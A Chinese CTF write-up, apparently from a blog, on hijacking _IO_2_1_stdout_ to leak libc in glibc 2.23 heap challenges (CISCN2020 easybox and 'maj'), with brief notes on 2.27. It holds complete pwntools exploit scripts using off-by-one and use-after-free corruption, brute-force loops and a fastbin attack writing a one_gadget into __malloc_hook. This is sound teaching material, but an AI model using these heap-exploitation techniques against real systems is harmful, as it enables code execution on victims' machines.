【八芒星计划】 劫持_IO_2_1_stdout_泄露libc

24 篇文章 1 订阅

这一篇讲劫持_IO_2_1_stdout_泄露libc,应用在没有show的heap题里,首先申明,所有的都需要爆破,并且2.27由于tcache的存在使得2.27的劫持_IO_2_1_stdout_比2.23简单

CISCN2020 easyboxs

libc2.23
off by one+劫持_IO_2_1_stdout_
有add和free

add(0, 0x18, 'a')
add(1, 0xf8, 'a')
add(2, 0x68, 'a')
add(3, 0x68, 'a')
add(4, 0x18, 'a')
free(0)
add(0, 0x18, 'a'*0x18+'\xe1')
free(1)

由于是off by one,所以直接改size,free,造成堆块复用

free(2)
add(0, 0xd8, 'a')
add(5, 0x18, 'a')
add(0, 0x18, '\xdd\x25')
free(5)
add(5, 0x18, p64(0)*3+'\x71')
add(0, 0x68, 'a')
add(0, 0x68, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['_IO_2_1_stderr_'] - 192
info('libc_base', libc_base)
og = libc_base + o_g[3]
malloc_hook = libc_base + libc.sym['__malloc_hook']

先把2free掉,然后精心构造,使得chunk2的fd有unsortedbin的地址,同时把这个地址的后四位改成\xdd\x25,并且上面要有一个0x18的chunk,让我们可以后面再把chunk2的size改回0x71,才能从0x70的fastbin里申请chunk

为什么是\xdd\x25,其实只有后三位5dd是确定的,前一位填什么都行,是要爆破的,这个位置有一个0x7f,可以让我们fastbin attack

add(0, 0x68, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')

这是我们要往_IO_2_1_stdout_里填充的,照着填就行,具体的原因比较复杂

在这里插入图片描述
看着好像除了flag都没改,其实已经改过了,具体的可以b _int_malloc 然后fin去看

p _IO_list_all
p (*(struct _IO_FILE_plus *)0x7f3034623b78)
p (*(struct _IO_jump_t *)(0x556306725500+0xd8))

这些都是可以用的指令,具体自己改

free(3)
add(0, 0x58, p64(1)*0x9+p64(0x71)+p64(malloc_hook-0x23))
add(0, 0x68, 'a')
add(0, 0x68, 'a'*0x13+p64(og))

最后free(3)
然后申请下来改fd,然后fastbin attack改malloc_hook为og,结束

完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './pwn'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
def menu(ch):
    sla('>>>', str(ch))
def add(index, size, content):
    menu(1)
    sla('idx:', str(index))
    sla('len:', str(size))
    sea('content:', content)

def free(index):
    menu(2)
    sla('idx:', str(index))
IO_2_1_stdout = libc.sym['_IO_2_1_stdout_']

while True:
    local_file  = './pwn'
    local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
    remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('', )
        libc = ELF(remote_libc)
        elf = ELF(local_file)
    try:
        add(0, 0x18, 'a')
        add(1, 0xf8, 'a')
        add(2, 0x68, 'a')
        add(3, 0x68, 'a')
        add(4, 0x18, 'a')
        free(0)
        add(0, 0x18, 'a'*0x18+'\xe1')
        free(1)
        free(2)
        add(0, 0xd8, 'a')
        add(5, 0x18, 'a')
        add(0, 0x18, '\xdd\x25')
        free(5)
        add(5, 0x18, p64(0)*3+'\x71')
        add(0, 0x68, 'a')
        add(0, 0x68, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
        libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['_IO_2_1_stderr_'] - 192
        info('libc_base', libc_base)
        og = libc_base + o_g[3]
        malloc_hook = libc_base + libc.sym['__malloc_hook']
        free(3)
        add(0, 0x58, p64(1)*0x9+p64(0x71)+p64(malloc_hook-0x23))
        add(0, 0x68, 'a')
        add(0, 0x68, 'a'*0x13+p64(og)) 
        debug()
        sl('1')
        break
    except:
        r.close()
        continue
r.interactive()

try是用来爆破的

maj

libc2.23
UAF+劫持_IO_2_1_stdout_
有add,free,edit

add(0x68)
add(0x68)
add(0x68)
edit(0, p64(0)+p64(0x71))
edit(1, p64(0)+p64(0x61))
edit(2, p64(0)*3+p64(0x51))
free(0)
free(1)
edit(1, '\x10')
add(0x60)#3
add(0x60)#4

先add三个chunk,然后构造好我们需要的数据,0x71是fake chunk, 0x61和0x51是为了过free时nextchunk的size的检测
edit改fd,然后申请回来,chunk4就是我们的fake chunk

free(1)
edit(4, p64(0)*0xb+p64(0x91))
free(1)
edit(4, p64(0)*0xb+p64(0x71))
edit(1, '\xdd\x25')
add(0x60)
add(0x60)
edit(6, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['_IO_2_1_stderr_'] - 192
info('libc_base', libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
og = libc_base + o_g[3]

free1,然后通过4把1的size改成0x91,然后再free1, chunk1就在unsortedbin里了,这样一来在fastbin里的chunk1的fd就有main_arena+96的地址了
然后再改成0x71,就可以fastbin attack了

free(0)
free(1)
free(0)
edit(1, p64(malloc_hook-0x23))
add(0x60)
add(0x60)
add(0x60)
edit(9, 'a'*0x13+p64(og))

然后double free,fastbin attack 结束

完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './maj'
local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'

select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)
def menu(ch):
    sla('>> ', str(ch))
def add(size):
    menu(1)
    sl('80')
    sla('______?', str(size))
    sea('start_the_game,yes_or_no?', 'yes')
def free(index):
    menu(2)
    sla('index ?', str(index))
def edit(index, content):
    menu(4)
    sla('index ?', str(index))
    sea('__new_content ?', content)
while True:
    local_file  = './maj'
    local_libc  = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
    remote_libc = '/root/glibc-all-in-one/libs/2.23/libc-2.23.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    else:
        r = remote('', )
        libc = ELF(remote_libc)
    elf = ELF(local_file)

    try:
        add(0x68)
        add(0x68)
        add(0x68)
        edit(0, p64(0)+p64(0x71))
        edit(1, p64(0)+p64(0x61))
        edit(2, p64(0)*3+p64(0x51))
        free(0)
        free(1)
        edit(1, '\x10')
        add(0x60)
        add(0x60)
        free(1)
        edit(4, p64(0)*0xb+p64(0x91))
        free(1)
        edit(4, p64(0)*0xb+p64(0x71))
        edit(1, '\xdd\x25')
        add(0x60)
        add(0x60)
        edit(6, 'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
        libc_base = uu64(ru('\x7f')[-6:]) - libc.sym['_IO_2_1_stderr_'] - 192
        info('libc_base', libc_base)
        malloc_hook = libc_base + libc.sym['__malloc_hook']
        og = libc_base + o_g[3]
        free(0)
        free(1)
        free(0)
        edit(1, p64(malloc_hook-0x23))
        add(0x60)
        add(0x60)
        add(0x60)
        edit(9, 'a'*0x13+p64(og))
        #debug()
        #sl('1')
        break
    except:
        r.close()
        continue

r.interactive()

2.27

2.27的先提一下,后面再写题

realloc(0x180, ‘c’*0x78+p64(0xc1)+p8(0x60)+p8(0x87))

realloc(0x100, p64(0xfbad1887)+p64(0)*3+p8(0x58))
由于tcache,所以不用再担心size,可以直接爆破到stdout,也就是0x?760
改flag,read全部用0填充,write_base末尾改成0x58,这样就指向_IO_2_1_stderr_+216,其中存储着 _IO_file_jumps的地址

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值